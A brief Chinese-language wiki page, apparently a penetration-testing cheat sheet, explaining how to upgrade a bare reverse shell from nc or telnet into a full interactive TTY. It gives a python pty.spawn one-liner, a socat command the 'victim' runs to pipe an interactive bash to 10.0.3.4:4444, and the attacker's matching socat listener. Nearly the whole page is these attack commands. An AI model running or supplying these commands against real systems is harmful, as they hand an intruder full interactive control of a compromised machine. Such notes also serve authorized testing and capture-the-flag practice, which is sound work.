Skip to content

将reverse shell 转换为TTY

longuan edited this page Jul 2, 2020 · 3 revisions

使用nc或者telnet得到的反向shell只具有传输字符的功能,不是一个完整的shell,很多时候会带来不便,比如使用su、vim等命令的时候。

这时候就需要TTY这种,目前有两种便捷的方法:python的pty模块和socat。

python的pty模块

python -c 'import pty; pty.spawn("/bin/bash")'

使用socat

受害者执行: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

攻击者监听:

socat file:`tty`,raw,echo=0 tcp-listen:4444

https://www.4hou.com/technology/6248.html https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/